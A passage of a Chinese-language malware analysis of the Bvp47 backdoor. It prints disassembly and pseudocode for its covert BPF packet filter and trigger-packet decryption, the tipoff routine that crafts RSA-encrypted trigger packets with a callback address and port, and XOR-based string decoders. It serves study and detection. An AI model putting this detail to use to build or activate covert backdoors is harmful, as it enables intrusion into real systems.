08001E2 85 C0            test   eax, eax
08001E4 7E 65            jle    short loc_8000248
08001E6 80 3D A4 7F 00 08 01  cmp    g_flag_ba2b4064, 1
08001ED 75 52            jnz    short loc_8000241
08001EF          ; -----
08001EF          ; CODE XREF: _554a7941+7E1j
08001EF          ; _554a7941+EF4j
loc_80001EF:
08001EF E8 10 9D 00 00    call   fork
08001F4 A3 A0 7F 00 08    mov     _2883ab43, eax
08001F9 85 C0            test   eax, eax
08001FB 7C 4E            jl     short loc_8000248
08001FD 7F D1            jg     short loc_80001D0
08001FF C7 04 24 02 00 00 00  mov     dword ptr [esp], 2 ; sig
0800206 31 D2            xor    edx, edx
0800208 89 54 24 04      mov     [esp+4], edx          ; handler
080020C EB D3 9C 00 00    call   signal
0800211 C7 04 24 0F 00 00 00  mov     dword ptr [esp], 0Fh ; sig
0800218 31 C0            xor    eax, eax
080021A 89 44 24 04      mov     [esp+4], eax          ; handler
080021E E8 C1 9C 00 00    call   signal
0800223 89 3C 24          mov     [esp], edi          ; file
0800226 EB B5 2E 00 00    call   sub_80030E0
080022B EB A0 2E 00 00    call   sec_bpf_init          ; 尝试初始化bpf
0800230 89 04 24          mov     [esp], eax          ; bpf_program
0800233 EB 48 01 00 00    call   sec_f_9b510b03        ; 载入bpf代码
0800238 80 3D A4 7F 00 08 01  cmp    g_flag_ba2b4064, 1
080023F 74 AE            jz     short loc_80001EF
0800241          ; -----
loc_8000241:
0800241          ; CODE XREF: _554a7941+9D1j
```

2. 其中sec\_bpf\_init返回了bpf\_program的结构体

```
080030D0          ; int __cdecl sec_bpf_init()
080030D0          sec_bpf_init          proc near          ; CODE XREF: _554a7941+DB1p
080030D0 55              push   ebp
080030D1 B8 00 83 00 08    mov     eax, offset stru_8008300 ; 返回bpf_program结构体
080030D6 89 E5            mov     ebp, esp
080030D8 5D              pop    ebp
080030D9 C3              retn
080030D9          sec_bpf_init          endp
080030D9          ; -----
```



### 3. stru\_8008300结构具体值如下

```

08008300 32 00 00 00 20 83 00 08 stru_8008300    bpf_program <32h, offset stru_8008320>
08008300                                     ; DATA XREF: sec_bpf_init+1fo
08008308 00 00 00 00                                dd 0
0800830C 00 00 00 00                                dd 0
08008310 00 00 00 00                                dd 0
08008314 00 00 00 00                                dd 0
08008318 00 00 00 00                                dd 0
0800831C 00 00 00 00                                dd 0
08008320 80 00 00 00 00 00 00 00+stru_8008320 bpf_insn < 80h, 0, 0, 0>
08008320 14 00 00 00 06 00 00 00                ; DATA XREF: .data:stru_8008300fo
08008320                                     0, 0, 6>
08008330 07 00 00 00 02 00 00 00+                bpf_insn <7, 0, 0, 2>
08008330 48 00 00 00 00 00 00 00                bpf_insn <48h, 0, 0, 0>
08008340 44 00 00 00 CF E6 00 00+                bpf_insn <44h, 0, 0, 0E6CFh>
08008340 02 00 00 00 04 00 00 00                bpf_insn <2, 0, 0, 4>
08008350 48 00 00 00 00 00 00 00+                bpf_insn <48h, 0, 0, 0>
08008350 54 00 00 00 CF E6 00 00                bpf_insn <54h, 0, 0, 0E6CFh>
08008360 84 00 00 00 00 00 00 00+                bpf_insn <84h, 0, 0, 0>
08008360 14 00 00 00 01 00 00 00                bpf_insn <14h, 0, 0, 1>
08008370 07 00 00 00 0A 00 00 00+                bpf_insn <7, 0, 0, 0Ah>
08008370 60 00 00 00 04 00 00 00                bpf_insn <60h, 0, 0, 4>
08008380 5C 00 00 00 00 00 00 00+                bpf_insn <5Ch, 0, 0, 0>
08008380 07 00 00 00 0A 00 00 00                bpf_insn <7, 0, 0, 0Ah>
08008390 02 00 00 00 04 00 00 00+                bpf_insn <2, 0, 0, 4>
08008390 80 00 00 00 00 00 00 00                bpf_insn <80h, 0, 0, 0>
080083A0 1C 00 00 00 00 00 00+                bpf_insn <1Ch, 0, 0, 0>
080083A0 07 00 00 00 0A 00 00 00                bpf_insn <7, 0, 0, 0Ah>
080083B0 48 00 00 00 00 00 00+                bpf_insn <48h, 0, 0, 0>
080083B0 02 00 00 00 06 00 00 00                bpf_insn <2, 0, 0, 6>
080083C0 61 00 00 00 04 00 00 00+                bpf_insn <61h, 0, 0, 4>
080083C0 30 00 00 00 17 00 00 00                bpf_insn <30h, 0, 0, 17h>
080083D0 15 00 00 05 06 00 00 00+                bpf_insn <15h, 0, 5, 6>
080083D0 30 00 00 00 2E 00 00 00                bpf_insn <30h, 0, 0, 2Eh>
080083E0 74 00 00 00 02 00 00 00+                bpf_insn <74h, 0, 0, 2>
080083E0 14 00 00 00 14 00 00 00                bpf_insn <14h, 0, 0, 14h>
080083F0 0C 00 00 00 00 00 00 00+                bpf_insn <0Ch, 0, 0, 0>
080083F0 07 00 00 00 0A 00 00 00                bpf_insn <7, 0, 0, 0Ah>
08008400 48 00 00 00 0E 00 00 00+                bpf_insn <48h, 0, 0, 0Eh>
08008400 02 00 00 00 08 00 00 00                bpf_insn <2, 0, 0, 8>
08008410 80 00 00 00 00 00 00 00+                bpf_insn <80h, 0, 0, 0>
08008410 14 00 00 00 02 00 00 00                bpf_insn <14h, 0, 0, 2>
08008420 07 00 00 00 02 00 00 00+                bpf_insn <7, 0, 0, 2>
08008420 48 00 00 00 00 00 00 00                bpf_insn <48h, 0, 0, 0>
08008430 44 00 00 00 6A 9D 00 00+                bpf_insn <44h, 0, 0, 9D6Ah>
08008430 02 00 00 00 04 00 00 00                bpf_insn <2, 0, 0, 4>
08008440 48 00 00 00 00 00 00 00+                bpf_insn <48h, 0, 0, 0>
08008440 54 00 00 00 6A 9D 00 00                bpf_insn <54h, 0, 0, 9D6Ah>
08008450 84 00 00 00 00 00 00 00+                bpf_insn <84h, 0, 0, 0>
08008450 14 00 00 00 01 00 00 00                bpf_insn <14h, 0, 0, 1>
08008460 07 00 00 00 0A 00 00 00+                bpf_insn <7, 0, 0, 0Ah>

```

### 4. bpf\_program和bpf\_insn结构分别如下

```

00000000
00000000 bpf_program      struc ; (sizeof=0x8, align=0x4, copyof_65)
00000000                                     ; XREF: .data:stru_8008300/r
00000000                                     ; pcap_t/r ...
00000000 bf_len          dd ?
00000004 bf_insnns     dd ?
00000008 bpf_program     ends
00000008

```

```

00000000
00000000 bpf_insn      struct ; (sizeof=0x8, align=0x4, copyof_34)
00000000                                     ; XREF: .data:stru_8008320/r
00000000                                     ; .data:08008330/r ...
00000000 code          dw ?
00000002 jt           db ?
00000003 jf           db ?
00000004 k            dd ?
00000008 bpf_insn     ends
00000008

```

## 5. 经过bpf反汇编过后的代码如下

```

/* BPF asm
10:   ld #1en
11:   sub #6
12:   tax
13:   ldh [x+0]
14:   or #0xe6cf
15:   st M[4]
16:   ldh [x+0]
17:   and #0xe6cf
18:   neg
19:   sub #1
110:  tax
111:  ld M[4]
112:  and x
113:  tax
114:  st M[4]
115:  ld #1en
116:  sub x
117:  tax
118:  ldh [x+0]
119:  st M[6]
120:  ldx M[4]
121:  ldb [23]
122:  jeq #0x6, 123, 128
123:  ldb [46]
124:  rsh #2
125:  sub #20
126:  add x
127:  tax
128:  ldh [x+14]
129:  st M[8]
130:  ld #1en
131:  sub #2
132:  tax
133:  ldh [x+0]
134:  or #0x9d6a
135:  st M[4]
136:  ldh [x+0]
137:  and #0x9d6a
138:  neg
139:  sub #1
140:  tax
141:  ld M[4]
142:  and x
143:  tax
144:  ld M[8]
145:  jeq x, 148, 146
146:  ld M[6]
147:  jeq x, 148, 149
148:  ret #0xffff
149:  ret #0
*/

```

6. 实际运行时的bpf伪代码如下，即满足该规则的payload数据会被捕获进入到下一个处理流程；

```
int check_v3(char* buf, int size)
{
    if (size != 0x88)
        return 0;

    unsigned short start = *(unsigned short*)(buf + 0x00);
    unsigned short check0 = *(unsigned short*)(buf + 0x82);
    unsigned short check1 = *(unsigned short*)(buf + 0x84);
    unsigned short check2 = *(unsigned short*)(buf + 0x86);

    start = (start >> 0x08) | ((start & 0xFF) << 0x08);

    unsigned short value0 = (unsigned __int8)((unsigned __int16)(size ^ 0xE6CF) >> 8) | (((unsigned __int8)size ^ 0xCF) << 8);
    unsigned short value2 = (unsigned __int8)((unsigned __int16)(start ^ 0x9D6A) >> 8) | (((unsigned __int8)start ^ 0x6A) << 8);

    if (value0 != check0)
        return 0;

    if (value2 != check2)
        return 0;

    return 1;
}
```

## BPF隐蔽通信数据处理过程

在满足BPF的捕获规则后，数据包会进入下一个流程来进行处理。

1. 在函数sec\_f\_9b510b03中可以看到Dewdrop使用select模型来处理对应的数据包；

```
24 while ( g_flag_ba2b4064 == 1 )
25 {
26     if ( v6 == 1 )
27     {
28         v6 = 0;
29         while ( !sec_f_cd57d5dc_apply_bpf_filter((int)xx, (int)bpf_program) )
30             sleep(60u);
31     }
32     memset(&readfds, 0, sizeof(readfds));
33     memset(&exceptfds, 0, sizeof(exceptfds));
34     timeout.tv_usec = 0;
35     v1 = 0;
36     v8 = 0;
37     for ( timeout.tv_sec = 60; xx[0] > v1; ++v1 )
38     {
39         if ( xx[2 * v1 + 2] > v8 )
40             v8 = xx[2 * v1 + 2];
41         _bittestandset(&readfds.__fds_bits[(unsigned int)xx[2 * v1 + 2] >> 5], xx[2 * v1 + 2] & 0x1F);
42         _bittestandset(&exceptfds.__fds_bits[(unsigned int)xx[2 * v1 + 2] >> 5], xx[2 * v1 + 2] & 0x1F);
43     }
44     v9 = select(v8 + 1, &readfds, 0, &exceptfds, &timeout); // select网络模型
45     if ( v9 > 0 )
46     {
47         for ( i = 0; v8 >= i && v9 > 0; ++i )
48         {
49             v3 = i & 0x1F;
50             if ( _bittest(&readfds.__fds_bits[i >> 5], v3) )
51             {
52                 --v9;
53                 handle = (pcap_x *)f_5c220551(xx, i);
54                 if ( !handle
55                     || libpcap_pcap_next_ex(*handle, (pcap_pkthdr **)&pkt_header, (char **)&pkt_data) != 1
56                     || !pkt_header
57                     || !pkt_data )
58                     continue;
59             }
60             v4 = f_21c0de29_getLinkType((pcap_x *)handle);
61             sec_f_6a42f4c9_allinone((char **)&pkt_data, (pcap_pkthdr **)&pkt_header, v4); // 处理数据包
62         }
63         if ( _bittest(&exceptfds.__fds_bits[i >> 5], v3) )
64         {
65             --v9;
66             v6 = 1;
67         }
68     }
69 }
70 }
71 if ( (((unsigned __int8)v6 | ((unsigned int)v7 > 0x1D)) & 1) != 0 )
72 {
73     f763d0a1(xx);
74     goto LABEL_2;
75 }
76 }
77 return f763d0a1(xx);
```

## 2. sec\_f\_6a42f4c9\_allinone执行伪代码如下

```
1 int __cdecl sec_f_6a42f4c9_allinone(char **pkt_data, pcap_pkthdr **pkt_header, __int16 type)
2 {
3     char v4; // a1
4     char v5; // a1
5     int v6; // [esp+1Ch] [ebp-2Ch]
6     pkt_info s[2]; // [esp+20h] [ebp-28h] BYREF
7
8     v6 = -1;
9     if ( pkt_header[2] == pkt_header[3] )
10    {
11        sys_memset(s, 0, 0xCu);
12        v4 = *((_BYTE *)pkt_data + (unsigned __int16)type);
13        if ( v4 == 0x45 )
14        {
15            v5 = f_038680f0_another_filter('\x02', (unsigned int *)((char *)pkt_data + (unsigned __int16)type + 16));
16        }
17        else
18        {
19            v6 = -1;
20            if ( (v4 & 0xF0) == 0x60 ) // 如果为ipv6暂时不处理。
21                goto LABEL_2;
22            v5 = f_038680f0_another_filter(0xA, (unsigned int *)((char *)pkt_data + (unsigned __int16)type + 24));
23        }
24        v6 = -1;
25        if ( v5 )
26        {
27            if ( sec_decode_packet((char *)pkt_data, (int)pkt_header[2], (unsigned __int16)type, s) )// 处理抽离出来的0x80数据包
28            {
29                LABEL_12:
30                    v6 = -1;
31                    goto LABEL_2;
32                }
33                if ( s[0].cmd_type == 1 )
34                {
35                    v6 = aeba335b_send_email((char *)s);
36                }
37                else
38                {
39                    if ( s[0].cmd_type != 4 )
40                        goto LABEL_12;
41                    v6 = 72cf5a31_connect_remote(s);
42                }
43            }
44        }
45        LABEL_2:
46        if ( s[0].buffer )
47        {
48            sub_8004D30(s[0].buffer);
49            s[0].buffer = 0;
50        }
51        return v6;
52    }
```



### 3. 在 sec\_decode\_packet 中就开始了payload数据包的解密工作，内部涉及到一处作了变形处理的RSA解密算法

```
33 if ( type + 26 > (unsigned int)pkt_len )
34     goto error;
35 v4 = 2;
36 v5 = pkt_data[type];
37 if ( v5 != 0x45 )
38 {
39     v4 = 10;
40     if ( (v5 & 0xF0) == 96 )                // 再次校验了IPV6
41         goto error;
42 }
43 sys_memmove();
44 v6 = _byteswap_ushort(last_six_bytes_0) ^ 0xE6CF;
45 LOWORD(last_six_bytes_0) = v6;
46 last_six_bytes_2 = _byteswap_ushort(last_six_bytes_2) ^ 0x9D6A;
47 v7 = type + v6;
48 v8 = v7;
49 if ( v4 == 2 && pkt_data[type + 9] == 6 )
50 {
51     v20 = pkt_data[type + 32];
52 }
53 else
54 {
55     if ( v4 != 10 || pkt_data[type + 6] != 6 )
56         goto LABEL_6;
57     v20 = pkt_data[type + 0x34];
58 }
59 v8 = (unsigned __int16)(v7 + (v20 >> 2) - 20);
60 LABEL_6:
61 if ( v8 <= pkt_len - 6 && (sys_memmove(), v11 = _byteswap_ushort(v31), v31 = v11, last_six_bytes_2 == v11)
62     || (v8 = (unsigned __int16)(pkt_len - last_six_bytes_0), v8 <= pkt_len - 6)
63     && (sys_memmove(), v9 = _byteswap_ushort(v31), v31 = v9, last_six_bytes_2 == v9) )
64 {
65     HIWORD(last_six_bytes_0) = v31 ^ _byteswap_ushort(HIWORD(last_six_bytes_0));
66     if ( v8 + HIWORD(last_six_bytes_0) + 6 <= pkt_len )
67     {
68         sys_memmove();
69         packet_process_decode(key, (BYTE *)ret, g_ebx_0x0000);
70         if ( !ret[0] && ret[1] == 2 )
71         {
72             v12 = 2;
73             while ( ret[v12] )
74             {
75                 if ( (unsigned int)++v12 > 0x7F )
76                     goto error;
77             }
78             v13 = 128 - (v12 + 1);
79             sys_memmove();
80             if ( v13 > 7 )
81             {
82                 sys_memmove();
83                 v14 = HIWORD(xx);
84                 HIWORD(xx) = 0;
85                 LODWORD(v15) = (unsigned __int8)v14;
86                 HIDWORD(v15) = HIBYTE(v14);
87                 LODWORD(v15) = (DWORD)v15 << 8;
```



# BPF隐蔽通信数据格式与加密算法

1. Dewdrop模块v3系列的载荷 ( payload ) 数据包格式如下 :

```
struct trigger_data_v3 {
    unsigned short trigger_hdr;
    union {
        struct {
            unsigned int callback_addr;
            unsigned int callback_port;
            unsigned int timestamp;
            unsigned int timeskew;
            unsigned int trigger_addr;
        } ish_callback;

        unsigned char reserve[0x80];
    }cmd;

    unsigned short check0;
    unsigned short check1;
    unsigned short check2;
} __attribute__((packed));
```

2. tipoff中对Dewdrop模块的载荷 ( payload ) 数据包流程如下

```
int __cdecl tipoff_crypt_main(BYTE *buf, int size, __int16 start, __int16 size_, BYTE *info)
{
    unsigned int v5; // eax
    int v6; // eax
    int i1; // ebx
    unsigned __int16 index; // ax
    unsigned __int16 v9; // ax
    BYTE *v10; // ecx
    unsigned int i; // edx
    int pos; // [esp+14h] [ebp-134h] BYREF
    char reversed[2]; // [esp+18h] [ebp-130h] BYREF
    unsigned __int16 _gend_where; // [esp+1ah] [ebp-12eh]
    __int16 _gend_word0; // [esp+1ch] [ebp-12ch]
    unsigned __int16 _gend_word1; // [esp+1eh] [ebp-12ah]
    __int16 checksum2[0]; // [esp+20h] [ebp-128h] BYREF
    char srcBin[128]; // [esp+30h] [ebp-118h] BYREF
    char dstBin[152]; // [esp+80h] [ebp-98h] BYREF
    pos = 0;
    if ( (unsigned int)size <= 0x87 || (unsigned int)(((_DWORD *)info + 1) + 0x8) > 0x80 )
        return -1;
    v5 = time(0);
    srand(v5);
    v6 = *(_DWORD *)info;
    reversed[1] = 0;
    reversed[0] = v6;
    _gend_where = 0;
    _gend_word0 = tipoff_gen_rand2();
    _gend_word1 = byteswap_ushort*((_DWORD *)info + 1));
    i1 = 2;
    index = tipoff_makeHeader((BYTE *)reversed, 8u, 0);
    v9 = tipoff_makeHeader*((_BYTE **)info + 2), *((_DWORD *)info + 1), index);
    srcBin[0] = 0;
    pos = 2;
    srcBin[1] = 2;
    v10 = info;
    _gend_where = byteswap_ushort(v9);
    for ( i = 2; 0x77 - *((_DWORD *)info + 1) > i; i = i )
    {
        srcBin[i] = (unsigned __int8)((int (__fastcall *) (BYTE *, unsigned int))tipoff_gen_rand1)(v10, i) % 0xFFu + 1;
        v10 = info;
        i = pos + 1;
        pos = i;
    }
    srcBin[i] = 0;
    tipoff_sys_memmov(&srcBin[+pos], reversed, 8u);
    tipoff_sys_memmov(&srcBin[pos + 8], *((const void **)info + 2), *((_DWORD *)info + 1));
    tipoff_trigger((BYTE *)srcBin, (BYTE *)dstBin, &privateKey);
    pos = ((unsigned __int8)start << 8) | HI_BYTE(start);
    tipoff_sys_memmov(buf, &pos, 2u);
    tipoff_sys_memmov(buf + 2, dstBin, 0x80u);
    checksum2[0] = (unsigned __int8)((unsigned __int16)(size ^ 0xE6CF) >> 8) | (((unsigned __int8)size ^ 0xCF) << 8);
    checksum2[1] = (unsigned __int8)((unsigned __int16)(start ^ *((_DWORD *)info + 2) + 10) >> 8) | ((unsigned __int8)(start ^ (info[4] + 10)) << 8);
    checksum2[2] = (unsigned __int8)((unsigned __int16)(start ^ 0x9D6A) >> 8) | (((unsigned __int8)start ^ 0x6A) << 8);
    tipoff_sys_memmov(&buf[size - 6], checksum2, 6u);
    return 0;
}
```


### 3. payload数据包中的RSA数据加密

```
1 int __cdecl tipoff_trigger(BYTE *srcBin, BYTE *dstBin, BYTE *privateKey)
2 {
3     unsigned int v3; // eax
4     unsigned int v4; // edx
5
6     sub_804D480((int)srcBin, 0x80);
7     v3 = *((_DWORD *)srcBin + 0x1F);
8     v4 = *((_DWORD *)privateKey + 0x1F);
9     if ( v3 >= v4 )
10        *((_DWORD *)srcBin + 31) = v3 - v4;
11    tipoff_rsa_core( // RSA encryption
12        (int)srcBin,
13        0x20,
14        (int)(privateKey + 0x80),
15        0x20,
16        (int)privateKey,
17        0x20,
18        (int)(privateKey + 0x100),
19        0x21,
20        (int)dstBin,
21        byte_8058660);
22    return sub_804D480((int)dstBin, 0x80);
23 }
```

# 5. Bvp47\_loader技术细节

loader模块的入口函数图具体如下，中间会涉及到：

1. 检测运行时环境是否正常；
2. 读取文件尾部的payloads；
3. 映射和校验payload有效性；
4. 解密payload，如果需要解密；
5. 解压缩payload，如果需要解压缩；
6. 装载内核模块；
7. 调用通知隐藏内核模块的ELF文件头；
8. fork执行Dewdrop模块后门；
9. fork执行“饮茶”（Suctionchar\_Agent）程序后门；



# 字符加密函数

在样本分析过程中，首先需要处理应对的是一系列的字符串加密函数，共8处。

## 1. 异或0x47函数类型1：

```
LOAD:0005FB90                ; int __cdecl serial_bind_0x4c5c0704_xcode(char *dst, char *src)
LOAD:0005FB90                serial_bind_0x4c5c0704_xcode proc near    ; CODE XREF: serial_str_filesys_admr+10E1p
LOAD:0005FB90                ; serial_str_filesys_admr+1367p ...
LOAD:0005FB90                dst              = dword ptr  8
LOAD:0005FB90                src              = dword ptr  0Ch
LOAD:0005FB90                push    ebp
LOAD:0005FB91 89 01 00 00 00             mov     ecx, 1
LOAD:0005FB96 89 E5                   mov     ebp, esp
LOAD:0005FB98 57                       push   edi
LOAD:0005FB99 8B 7D 0C                 mov     edi, [ebp+src]
LOAD:0005FB9C 56                       push   esi
LOAD:0005FB9D 8B 75 08                 mov     esi, [ebp+dst]
LOAD:0005FBA0 53                       push   ebx
LOAD:0005FBA1 0F B6 1F                 movzx  ebx, byte ptr [edi]
LOAD:0005FBA4 8D 74 26 00             lea    esi, [esi+0]
LOAD:0005FBA8                loc_805FBA8:        ; CODE XREF: serial_bind_0x4c5c0704_xcode+301j
LOAD:0005FBA8 0F B6 04 0F             movzx  eax, byte ptr [edi+ecx]
LOAD:0005FBAC 89 C2                   mov     edx, eax
LOAD:0005FBAE 83 F2 47                 xor     edx, 47h           ; 最常见的xor 0x47
LOAD:0005FBB1 31 DA                   xor     ebx, ebx
LOAD:0005FBB3 01 C3                   add     ebx, eax
LOAD:0005FBB5 31 CA                   xor     ebx, ecx
LOAD:0005FBB7 88 54 0E FF             mov     [esi+ecx-1], dl
LOAD:0005FBB8 83 C1 01                 add     ecx, 1
LOAD:0005FBBE 84 D2                 test   dl, dl
LOAD:0005FBC0 75 E6                 jnz    short loc_805FBA8
LOAD:0005FBC2 89 F0                 mov     eax, esi
LOAD:0005FBC4 5B                 pop     ebx
LOAD:0005FBC5 5E                 pop     esi
LOAD:0005FBC6 5F                 pop     edi
LOAD:0005FBC7 5D                 pop     ebp
LOAD:0005FBC8 C3                       retn
LOAD:0005FBC8                serial_bind_0x4c5c0704_xcode endp
```

## 2. 异或0x47函数类型2：

```
LOAD:0005FB00                ; int __cdecl serial_bind_0xa8a16d65_xcode(char *dst, char *src, int length)
LOAD:0005FB00                serial_bind_0xa8a16d65_xcode proc near  ; CODE XREF: serial_mkstemp+227p
LOAD:0005FB00                ; serial_check_root+427p ...
LOAD:0005FB00                var_10          = dword ptr -10h
LOAD:0005FB00                buffer         = dword ptr  8
LOAD:0005FB00                length        = dword ptr  0Ch
LOAD:0005FB00                key           = byte ptr  10h
LOAD:0005FB00                push    ebp
LOAD:0005FB01 89 E5                   mov     ebp, esp
LOAD:0005FB03 57                       push   edi
LOAD:0005FB04 56                       push   esi
LOAD:0005FB05 53                       push   ebx
LOAD:0005FB06 83 EC 04                 sub     esp, 4
LOAD:0005FB09 8B 45 10                 mov     eax, dword ptr [ebp+key]
LOAD:0005FB0C 8B 7D 0C                 mov     edi, [ebp+length]
LOAD:0005FB0F 8B 75 08                 mov     esi, [ebp+buffer]
LOAD:0005FB12 83 C0 01                 add     eax, 1
LOAD:0005FB15 83 F8 01                 cmp     eax, 1
LOAD:0005FB18 0F B6 1F                 movzx  ebx, byte ptr [edi]
LOAD:0005FB1B 89 45 F0                 mov     [ebp+var_10], eax
LOAD:0005FB1E 76 23                 jbe    short loc_805FC13
LOAD:0005FB20 8A 01 00 00 00             mov     edx, 1
LOAD:0005FB23 8D 76 00                 lea    esi, [esi+0]
LOAD:0005FB28                loc_805FB28:        ; CODE XREF: serial_bind_0xa8a16d65_xcode+411j
LOAD:0005FB28 0F B6 0C 17             movzx  ecx, byte ptr [edi+edx]
LOAD:0005FB2C 89 C8                   mov     eax, ecx
LOAD:0005FB2E 83 F0 47                 xor     eax, 47h           ; xor 0x47函数2
LOAD:0005FB31 31 D8                   xor     ebx, ebx
LOAD:0005FB34 01 CB                   add     ebx, ecx
LOAD:0005FB37 31 D0                   xor     eax, edx
LOAD:0005FB3A 88 44 16 FF             mov     [esi+edx-1], al
LOAD:0005FB3D 83 C2 01                 add     edx, 1
LOAD:0005FB40 3B 55 F0                 cmp     [ebp+var_10], edx
LOAD:0005FB43 72 E5                 jb     short loc_805FB28
LOAD:0005FC13                loc_805FC13:        ; CODE XREF: serial_bind_0xa8a16d65_xcode+1E1fj
LOAD:0005FC13 83 C4 04                 add     esp, 4
LOAD:0005FC16 89 F0                 mov     eax, esi
LOAD:0005FC18 5B                 pop     ebx
LOAD:0005FC1A 5E                 pop     esi
LOAD:0005FC1C 5F                 pop     edi
LOAD:0005FC1E 5D                 pop     ebp
LOAD:0005FC20 C3                       retn
LOAD:0005FC20                serial_bind_0xa8a16d65_xcode endp
```

### 3. 变序加密函数：

```

LOAD:0805FC20          ; int __cdecl serial_bind_0x0b06803a_xcode(char *buffer, int length, unsigned __int8 key)
LOAD:0805FC20          serial_bind_0x0b06803a_xcode proc near ; DATA XREF: LOAD:080639F0+0
LOAD:0805FC20          buffer           = dword ptr 8
LOAD:0805FC20          length          = dword ptr 0Ch
LOAD:0805FC20          arg_8           = byte ptr 10h
LOAD:0805FC20          push          ebp
LOAD:0805FC21 89 E5          mov          ebp, esp
LOAD:0805FC23 8B 45 0C          mov          eax, [ebp+length]
LOAD:0805FC26 57              push         edi
LOAD:0805FC27 0F B6 7D 10       movzx       edi, [ebp+arg_8]
LOAD:0805FC28 56              push         esi
LOAD:0805FC2C 8B 75 08          mov          esi, [ebp+buffer]
LOAD:0805FC2F 53              push         ebx
LOAD:0805FC30 85 C0           test        eax, eax
LOAD:0805FC32 74 1D           jz          short loc_805FC51
LOAD:0805FC34 31 D2           xor         edx, edx
LOAD:0805FC36 31 DB           xor         ebx, ebx
LOAD:0805FC38          loc_805FC38: ; CODE XREF: serial_bind_0x0b06803a_xcode+2F1j
LOAD:0805FC38 0F B6 0C 16       movzx       ecx, byte ptr [esi+edx]
LOAD:0805FC3C 89 F8          mov          eax, edi
LOAD:0805FC3E 31 C8          xor         eax, ecx
LOAD:0805FC40 31 D8          xor         eax, ebx
LOAD:0805FC42 01 CB          add         ebx, ecx
LOAD:0805FC44 31 D0          xor         eax, edx
LOAD:0805FC46 8B 04 16       mov          [esi+edx], al
LOAD:0805FC49 83 C2 01       add         edx, 1
LOAD:0805FC4C 39 55 0C       cmp         [ebp+length], edx
LOAD:0805FC4F 77 E7          ja          short loc_805FC38
LOAD:0805FC51          loc_805FC51: ; CODE XREF: serial_bind_0x0b06803a_xcode+121j
LOAD:0805FC51 89 F0          mov          eax, esi
LOAD:0805FC53 5B              pop         ebx
LOAD:0805FC54 5E              pop         esi
LOAD:0805FC55 5F              pop         edi
LOAD:0805FC56 5D              pop         ebp
LOAD:0805FC57 C3              retn
LOAD:0805FC57          serial_bind_0x0b06803a_xcode endp
LOAD:0805FC57

```

### 4. 异或0x47函数类型3：

```

LOAD:0805FC60          ; int __cdecl serial_bind_0x4743c911_xor(char *buf, int len)
LOAD:0805FC60          serial_bind_0x4743c911_xor proc near ; CODE XREF: serial_bind_0xd1eb34ee_decode+136fp
LOAD:0805FC60          buf             = dword ptr 8
LOAD:0805FC60          len            = dword ptr 0Ch
LOAD:0805FC60          push          ebp
LOAD:0805FC61 89 E5          mov          ebp, esp
LOAD:0805FC63 57              push         edi
LOAD:0805FC64 8B 7D 0C       mov          edi, [ebp+len]
LOAD:0805FC67 56              push         esi
LOAD:0805FC68 8B 75 08       mov          esi, [ebp+buf]
LOAD:0805FC6B 53              push         ebx
LOAD:0805FC6C 85 FF          test        edi, edi
LOAD:0805FC6E 74 21          jz          short loc_805FC91
LOAD:0805FC70 31 DB          xor         ebx, ebx
LOAD:0805FC72 31 D2          xor         edx, edx
LOAD:0805FC74 8D 74 26 00     lea         esi, [esi+0]
LOAD:0805FC78          loc_805FC78: ; CODE XREF: serial_bind_0x4743c911_xor+2F1j
LOAD:0805FC78 0F B6 04 16     movzx       eax, byte ptr [esi+edx]
LOAD:0805FC7C 89 C1          mov          ecx, eax
LOAD:0805FC7E 83 F1 47       xor         ecx, 47h ; xor 0x47
LOAD:0805FC81 31 D9          xor         ecx, ebx
LOAD:0805FC83 01 C3          add         ebx, ecx
LOAD:0805FC85 31 D1          xor         ecx, edx
LOAD:0805FC87 8B 0C 16       mov          [esi+edx], cl
LOAD:0805FC8A 83 C2 01       add         edx, 1
LOAD:0805FC8D 39 D7          cmp         edi, edx
LOAD:0805FC8F 77 E7          ja          short loc_805FC78
LOAD:0805FC91          loc_805FC91: ; CODE XREF: serial_bind_0x4743c911_xor+E1j
LOAD:0805FC91 89 F0          mov          eax, esi
LOAD:0805FC93 5B              pop         ebx
LOAD:0805FC94 5E              pop         esi
LOAD:0805FC95 5F              pop         edi
LOAD:0805FC96 5D              pop         ebp
LOAD:0805FC97 C3              retn
LOAD:0805FC97

```



## 5. 异或0x47类型4 :

```

LOAD:0805FCA0                ; int __cdecl serial_bind_0x9fa14ba6_xcode(char *buffer, int length, unsigned __int8 key)
LOAD:0805FCA0                serial_bind_0x9fa14ba6_xcode proc near ; DATA XREF: LOAD:080639B4+0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0
LOAD:0805FCA0 55                push    ebp
LOAD:0805FCA1 89 01 00 00 FF            mov     ecx, 1
LOAD:0805FCA6 89 E5                mov     ebp, esp
LOAD:0805FCA8 56                push   esi
LOAD:0805FCA9 8B 45 08            mov     eax, [ebp+buffer]
LOAD:0805FCAC 53                push   ebx
LOAD:0805FCAD 0F B6 5D 10        movzx  ebx, [ebp+key]
LOAD:0805FCB1 8B 75 0C            mov     esi, [ebp+length]
LOAD:0805FCB4 83 F3 47            xor     ebx, 47h
LOAD:0805FCB7 8B 18            mov     [eax], bl
LOAD:0805FCB9 8D B4 26 00 00 00 00    lea    esi, [esi+0]
LOAD:0805FCC0
LOAD:0805FCC0                loc_805FCC0:                ; CODE XREF: serial_bind_0x9fa14ba6_xcode+39+1j
LOAD:0805FCC0 0F B6 54 0E FF        movzx  edx, byte ptr [esi+ecx-1]
LOAD:0805FCC5 31 DA                xor     edx, ebx
LOAD:0805FCC7 83 F2 47            xor     edx, 47h
LOAD:0805FCCA 31 CA                xor     ecx, ecx
LOAD:0805FCCC 8B 14 08            mov     [eax+ecx], dl
LOAD:0805FCCF 83 C1 01            add     ecx, 1
LOAD:0805FCD2 01 D3            add     ebx, edx
LOAD:0805FCD4 80 7C 0E FE 00        cmp     byte ptr [esi+ecx-2], 0
LOAD:0805FCD9 75 E5                jnz    short loc_805FCC0
LOAD:0805FCD8 5B                pop     ebx
LOAD:0805FCD8 5E                pop     esi
LOAD:0805FCD8 5D                pop     ebp
LOAD:0805FCD8 C3                retn
LOAD:0805FCDE                serial_bind_0x9fa14ba6_xcode endp

```

## 6. 异或0x47

```

.OAD:0805FCE0                ; _BYTE __cdecl serial_bind_0xcc17976_xcode(char *src, char *dst, int length, unsigned __int8 key)
.OAD:0805FCE0                serial_bind_0xcc17976_xcode proc near ; DATA XREF: LOAD:080639C8+0
.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0
.OAD:0805FCE0
